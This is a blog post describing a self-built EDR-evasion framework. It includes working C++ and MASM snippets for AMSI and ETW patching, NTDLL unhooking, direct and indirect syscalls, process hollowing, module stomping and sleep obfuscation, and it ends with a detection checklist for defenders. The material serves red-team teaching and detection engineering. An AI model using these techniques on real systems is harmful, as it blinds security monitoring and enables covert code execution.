// Home // Blog // Contact

Building Chimera: An EDR Evasion Framework from Scratch

How I built a 12-technique EDR bypass toolkit in C++17 and x64 MASM — AMSI bypass (3 methods), ETW patching, NTDLL unhooking, direct/indirect syscalls, process hollowing, module stomping, sleep obfuscation, and call stack spoofing.

T1562.001 T1562.006 T1055.001 T1055.004 T1055.014 T1027.011 T1134.004

Why Build Your Own Framework

Off-the-shelf C2 frameworks are signatured within hours of public release. Understanding bypass techniques at the implementation level — not just the conceptual level — is what separates red teamers from script runners. Chimera started as a personal learning project and became a demonstration platform I use in engagements and interviews to show technique depth.

Each technique in Chimera has a corresponding command (chimera amsi, chimera etw, chimera syscall, etc.) and produces detailed output explaining what it's doing at each step. This makes it a teaching tool as much as an evasion framework.

Architecture — C++17 + x64 MASM

Chimera is compiled as a 64-bit Windows executable using MSVC with C++17. The MASM (Microsoft Macro Assembler) component handles the raw syscall stubs — the inline assembly that calls the kernel directly without going through ntdll.

CMakeBuild system structure
# CMakeLists.txt key parts
enable_language(ASM_MASM)
target_compile_options(chimera PRIVATE
    $<$:/W4>
    $<$:/permissive->
    $<$:/Zc:__cplusplus>
)
# Note: generator expressions are critical — MASM can't handle C++ flags

AMSI Bypass — Three Methods

AMSI (Antimalware Scan Interface) is how Windows exposes content to AV engines from inside PowerShell, JScript, VBScript, and .NET. The central function is AmsiScanBuffer in amsi.dll. Chimera implements three bypass approaches:

Method 1 — Patch AmsiScanBuffer to return immediately

VirtualProtect the first few bytes of AmsiScanBuffer to RWX, overwrite with a ret instruction (0xC3), then restore RX. The function returns before performing any scan. A single-byte patch. Simple. Signatured, but demonstrates the principle.

C++Method 1: ret patch
FARPROC fn = GetProcAddress(LoadLibraryA("amsi.dll"), "AmsiScanBuffer");
DWORD old; BYTE patch = 0xC3;
VirtualProtect(fn, 1, PAGE_EXECUTE_READWRITE, &old);
*(BYTE*)fn = patch;
VirtualProtect(fn, 1, old, &old);
FlushInstructionCache(GetCurrentProcess(), fn, 1);

Method 2 — Return AMSI_RESULT_CLEAN

Instead of a blank return, patch with xor eax, eax; ret (3 bytes: 0x31 0xC0 0xC3). This makes AmsiScanBuffer return 0, which corresponds to AMSI_RESULT_CLEAN — the caller sees a clean scan result rather than an error, which avoids triggering error-handling paths in some runtimes.

Method 3 — Context corruption

Null out the amsiContext field of the AMSI_SESSION structure. When AmsiScanBuffer checks amsiContext != nullptr at entry, it fails early and returns a benign error code. Slightly more sophisticated — targets the AMSI state rather than the function code itself.

ETW Patching — Silencing the Telemetry Stream

ETW (Event Tracing for Windows) is how the OS and security products stream real-time events. Without ETW, SIEMs and EDRs lose visibility into process activity. The patching targets EtwEventWrite and EtwEventWriteFull in ntdll.dll — the two functions that emit events from user-mode. A single ret patch on each makes the process effectively blind to EDR telemetry.

C++ETW patch — EtwEventWrite in ntdll
// Patch EtwEventWrite to immediately return
auto patch_fn = [](const char* name, HMODULE mod) {
    FARPROC fn = GetProcAddress(mod, name);
    if (!fn) return;
    DWORD old; BYTE ret_stub[] = {0xC3};  // ret
    VirtualProtect(fn, 1, PAGE_EXECUTE_READWRITE, &old);
    memcpy(fn, ret_stub, 1);
    VirtualProtect(fn, 1, old, &old);
    FlushInstructionCache(GetCurrentProcess(), fn, 1);
};

HMODULE ntdll = GetModuleHandleA("ntdll.dll");
patch_fn("EtwEventWrite",     ntdll);
patch_fn("EtwEventWriteFull", ntdll);
// Note: kernel-mode ETW-TI (ThreatIntelligence) is NOT patchable from user mode

NTDLL Unhooking — Removing EDR Hooks at the Source

Modern EDRs hook ntdll.dll functions at process initialization — they overwrite the first bytes of NtCreateThreadEx, NtAllocateVirtualMemory, etc. with a jump to their monitoring code. Chimera removes these hooks by mapping a fresh copy of ntdll from disk and replacing the hooked .text section with the clean bytes.

Two approaches are implemented: (1) open ntdll.dll from disk via its path using SEC_IMAGE mapping, or (2) open the \KnownDlls\ntdll.dll section object via NtOpenSection — which is typically pre-loaded and unmodified.

C++Unhook via KnownDlls section
UNICODE_STRING name = RTL_CONSTANT_STRING(L"\\KnownDlls\\ntdll.dll");
OBJECT_ATTRIBUTES oa = {}; InitializeObjectAttributes(&oa, &name, OBJ_CASE_INSENSITIVE, nullptr, nullptr);
HANDLE hSection = nullptr;
NtOpenSection(&hSection, SECTION_MAP_READ | SECTION_QUERY, &oa);

PVOID pClean = nullptr; SIZE_T viewSize = 0;
NtMapViewOfSection(hSection, GetCurrentProcess(), &pClean, 0, 0, nullptr,
                   &viewSize, ViewUnmap, 0, PAGE_READONLY);

// Find .text section in both the clean and hooked copies
// memcpy clean .text over the hooked one (with VirtualProtect to allow writing)
NtUnmapViewOfSection(GetCurrentProcess(), pClean);
CloseHandle(hSection);

Direct Syscalls — Hell's Gate + Halo's Gate

EDR hooks live in ntdll.dll user-mode stubs. If you call the kernel directly with the raw syscall number (SSN) and instruction, you bypass every hook. The challenge: how do you find the SSN without calling ntdll?

Hell's Gate: Read the SSN from the unhooked ntdll stub bytes. Every Nt* function starts with 4C 8B D1 (mov r10, rcx) followed by B8 xx xx 00 00 (mov eax, <SSN>). Parse those bytes to extract the SSN.

Halo's Gate: If the target function is hooked (first bytes are E9 — a JMP), scan ±adjacent Nt* functions whose stubs are clean and use their SSN ± offset to calculate the target's SSN. Neighboring syscalls have sequential numbers.

C++Hell's Gate SSN extraction
DWORD get_ssn(LPCSTR fn_name) {
    FARPROC fn = GetProcAddress(GetModuleHandleA("ntdll.dll"), fn_name);
    PBYTE p = (PBYTE)fn;
    // Pattern: 4C 8B D1 B8 [SSN_lo] [SSN_hi] 00 00
    if (p[0] == 0x4C && p[1] == 0x8B && p[2] == 0xD1 && p[3] == 0xB8)
        return *(DWORD*)(p + 4);   // bytes 4-5 = SSN
    // Hooked? Try Halo's Gate: scan ±20 neighbors
    for (int i = 1; i <= 20; i++) {
        if ((p - i*0x20)[0] == 0x4C) return *(DWORD*)(p - i*0x20 + 4) + i;
        if ((p + i*0x20)[0] == 0x4C) return *(DWORD*)(p + i*0x20 + 4) - i;
    }
    return 0;
}
MASM x64syscall_stub.asm — direct syscall stub
; x64 calling convention: args in rcx, rdx, r8, r9, stack
; Syscall ABI: SSN in eax, first arg mirrors rcx → r10

PUBLIC chimera_syscall
chimera_syscall PROC
    mov r10, rcx   ; kernel expects first arg in r10, not rcx
    mov eax, ecx   ; SSN passed as first arg (overloaded for demo)
    syscall        ; drop to kernel — no ntdll hook in the path
    ret
chimera_syscall ENDP
END

Indirect Syscalls — The Stealthier Path

Direct syscalls have a tell: the syscall instruction appears in your module's memory — not inside ntdll. Threat intelligence systems can detect this. Indirect syscalls solve it: set eax (SSN) and r10 (first arg) in your code, then JMP to a syscall; ret gadget inside ntdll. From the kernel's perspective, the syscall originated from ntdll's address range.

C++Find syscall gadget inside ntdll
// Scan ntdll .text for 0F 05 C3 (syscall; ret)
PBYTE base = (PBYTE)GetModuleHandleA("ntdll.dll");
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + ((PIMAGE_DOS_HEADER)base)->e_lfanew);
// Walk sections to find .text, then scan
for (SIZE_T i = 0; i < text_size - 3; i++) {
    if (text_ptr[i]==0x0F && text_ptr[i+1]==0x05 && text_ptr[i+2]==0xC3) {
        g_syscall_gadget = text_ptr + i;  // save gadget address
        break;
    }
}

// Use: set eax=SSN, r10=first_arg, jmp to gadget (in MASM stub)

Process Hollowing — Executing in a Legitimate Process

Process hollowing creates a sacrificial process (e.g. notepad.exe) in suspended state, evacuates its PE image, writes your payload image in its place, redirects the entry point via SetThreadContext, then resumes execution. The process appears as notepad to task managers but runs your code.

C++Hollowing — key steps
// 1. Create target in suspended state
CreateProcessA("notepad.exe", ..., CREATE_SUSPENDED, ..., &pi);

// 2. Read PEB ImageBase via GetThreadContext
CONTEXT ctx = {.ContextFlags = CONTEXT_FULL};
GetThreadContext(pi.hThread, &ctx);
// RDX = PEB address on x64; *(RDX + 0x10) = ImageBase
ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + 0x10), &remote_image_base, 8, nullptr);

// 3. Unmap original image
NtUnmapViewOfSection(pi.hProcess, (PVOID)remote_image_base);

// 4. Allocate + write payload PE at same base
LPVOID alloc = VirtualAllocEx(pi.hProcess, (PVOID)payload_preferred_base,
                               nt_hdrs->OptionalHeader.SizeOfImage, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, alloc, payload, payload_size, nullptr);

// 5. Redirect RIP to payload entry point + resume
ctx.Rcx = (DWORD64)alloc + nt_hdrs->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);

Module Stomping — Shellcode in a Signed DLL

Rather than allocating private RWX memory (which EDRs flag), module stomping hides shellcode inside the .text section of a legitimate, signed DLL. The memory is image-backed (not private), listed as a real module, carries an Authenticode signature. A thread starting inside a signed Microsoft DLL raises zero suspicion on its own.

C++Module Stomping — amsi.dll as victim
HMODULE hVictim = LoadLibraryA("amsi.dll");  // image-backed allocation
PIMAGE_SECTION_HEADER text = ch_find_section(hVictim, ".text");
LPVOID text_addr = (BYTE*)hVictim + text->VirtualAddress;

DWORD old, dummy;
VirtualProtect(text_addr, shellcode_size, PAGE_EXECUTE_READWRITE, &old);
memcpy(text_addr, shellcode, shellcode_size);
VirtualProtect(text_addr, shellcode_size, PAGE_EXECUTE_READ, &dummy);
FlushInstructionCache(GetCurrentProcess(), text_addr, shellcode_size);

// Thread starts inside amsi.dll .text — looks legitimate
CreateThread(nullptr, 0, (LPTHREAD_START_ROUTINE)text_addr, nullptr, 0, nullptr);
🔵

Detection: Hash the on-disk DLL .text section and compare with the in-memory copy. Any mismatch = module stomping. Thread start addresses inside modules whose disk content doesn't match memory are high-confidence IOCs.

Sleep Obfuscation — Hiding During Beacon Sleep

Memory scanners love beacon sleep windows. The implant is dormant, all memory is readable. Sleep obfuscation solves this: XOR-encrypt the beacon's region and mark it non-executable (RW, not RX) before sleeping. During sleep, scanners see only encrypted garbage in a data region — no signatures, no executable bit. Wake up: decrypt and flip back to RX.

C++Ekko-lite style obfuscation
// Pre-sleep: encrypt + mark non-executable
xor_buffer((BYTE*)beacon_region, region_size, 0xA7);
VirtualProtect(beacon_region, region_size, PAGE_READWRITE, &old_protect);

Sleep(duration_ms);

// Post-sleep: mark executable + decrypt
VirtualProtect(beacon_region, region_size, PAGE_EXECUTE_READ, &old_protect);
xor_buffer((BYTE*)beacon_region, region_size, 0xA7);  // XOR is symmetric
FlushInstructionCache(GetCurrentProcess(), beacon_region, region_size);

Call Stack Spoofing

EDRs walk the thread's call stack when they see suspicious API calls. If the return chain leads through anonymous RWX memory (shellcode), they alert. Call stack spoofing overwrites return addresses with pointers to legitimate Windows functions (BaseThreadInitThunk, RtlUserThreadStart, WaitForSingleObjectEx) before making the sensitive call, then restores them after.

PPID Spoofing — Hiding in the Process Tree

EDRs use parent-child process relationships as detection signals — Word.exe spawning cmd.exe is an immediate alert. PPID spoofing uses UpdateProcThreadAttribute with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS to make any child process appear to have been spawned by explorer.exe or svchost.exe instead of the real parent.

Process Ghosting — Execute a Deleted File

Process Ghosting creates a file section for execution before Windows AV can scan it: open a file with FILE_FLAG_DELETE_ON_CLOSE, write the payload, create a SEC_IMAGE section from the pending-delete file handle, then close the file (which deletes it). The section persists as an orphan. Create a process from the orphaned section — a process running code that no longer exists on disk.

Consolidated Detection Surface

Every technique in Chimera generates detection signals. Here's what a competent blue team should be alerting on:

  • AMSI patch: VirtualProtect on amsi.dll memory followed by a write at function entry
  • ETW patch: WriteProcessMemory or VirtualProtect + write targeting ntdll exported function addresses
  • NTDLL unhooking: NtMapViewOfSection with SEC_IMAGE flag on system DLL paths
  • Direct syscalls: syscall instruction at an address outside ntdll's mapped range
  • Hollowing: NtUnmapViewOfSection + VirtualAllocEx + WriteProcessMemory + SetThreadContext sequence
  • Module stomp: .text section hash mismatch; VirtualProtect on image-backed memory
  • Sleep obfuscation: VirtualProtect RWX→RW followed by Sleep followed by VirtualProtect RW→RX
  • PPID spoof: CreateProcess with EXTENDED_STARTUPINFO_PRESENT where parent PID doesn't match caller

Chimera is open-source on GitHub. The source includes detailed comments explaining every technique at the implementation level — useful for both red teamers building their own tools and blue teamers building detection rules.